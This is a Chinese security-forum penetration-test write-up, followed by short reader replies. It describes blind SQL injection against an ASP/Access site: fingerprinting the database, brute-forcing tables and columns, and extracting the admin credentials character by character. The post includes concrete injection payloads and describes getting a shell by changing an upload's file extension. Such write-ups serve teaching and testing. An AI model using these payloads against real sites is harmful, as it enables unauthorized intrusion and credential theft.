首页
社区
课程
招聘
[原创]一次Web渗透经历:从SQL注入到Getshell过程
发表于: 2019-1-29 10:31 13733

[原创]一次Web渗透经历:从SQL注入到Getshell过程

2019-1-29 10:31
13733
因为这是之前公司给的测试项目,过了很久才修复该项目,存在文档里已经很久了,有些图片已经模糊了,今天写出来和各位分享一下过程。

目标站:

http://www.xxxx.org/pro_view.asp?id=1295

1、判断是否存在注入点:

1.1、 and 1=1和and 1=2


-------------


但是有一些网站是检测到异常也报错,因此还需要进一步检测。

1.2、利用减法5=6-1(数字型)


---------------


数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。

我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。

2、判断是数字型还是字符型,然后判断是什么数据库

2.1、?id=1 and (select count(*) from sysobjects)>0  //正常为mssql,不同为access

2.2、?id=1 and (select count(*) from msysobjects)>0   //msysobjects 是access


3、爆破表名

?id=1295 and exists(select top 1 1 from admin)

存在:


不存在:


手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。


4、爆破字段。

?id=1295 and exists(select user_name from admin)

存在:


不存在:



5、跑字段数据。

5.1、长度:?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)

user_name:


password:


5.2、字段数据。

user_name第一个字符:

?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0


查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。

注:这里不用用大于号【>】或小于号【<】来判断,会报错。

password第一个字符:

?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99


查ASCII表得到第一个字符为【c】


同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx

但是现在新问题又来了,我没有找到后台,现在还得找一下后台。


找后台:

1、爆破

御剑无结果,尝试使用google hacking语法

2、谷歌


偶然发现一枚未授权访问:

http://www.xxxxx.org/boss/news/xxxxxe.asp


慢慢测试可以找到其后台。


----------------------


Getshell

上传:


抓包直接改后缀:


-----------------------------

 

完成收工。

以上内容仅供学习,请勿盲目测试。


[课程]Android-CTF解题方法汇总!

收藏
免费 7
支持
分享
最新回复 (18)
雪    币: 197
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了。
2019-1-29 10:42
0
雪    币: 351
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享,多多益善
2019-1-29 10:56
0
雪    币: 2375
活跃值: (433)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
楼主拿站花了几天?
2019-2-12 10:33
0
雪    币: 2359
活跃值: (288)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
这个牛笔
2019-3-4 20:02
0
雪    币: 219
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
可以的,学习到了
2019-3-13 10:30
0
雪    币: 1659
活跃值: (56)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
7
学习了
2019-3-15 11:27
0
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark
2019-3-22 23:01
0
雪    币: 27
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
为啥不用SQLmap?
2019-3-25 11:22
0
雪    币: 2890
活跃值: (1832)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
10
cnssrstar 为啥不用SQLmap?
SQLmap也有跑不出来的情况
2019-3-26 14:52
0
雪    币: 5372
活跃值: (140)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
唯一缺点就是细节图片看不太清。。。。。。
2019-3-27 15:23
0
雪    币: 21449
活跃值: (62278)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
12
感谢分享
2019-3-27 15:32
0
雪    币: 676
活跃值: (192)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
感谢分享!想和楼主聊聊!
2019-5-6 09:12
0
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
几年前的东西为什么还在发
2019-5-10 17:54
0
雪    币: 6
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
15
学习了,谢谢楼主
2019-9-17 16:10
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
图片不清楚啊 如果清楚那就完美了
2019-9-27 20:56
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
18
学习了,好帖
2019-12-3 08:16
0
游客
登录 | 注册 方可回帖
返回
//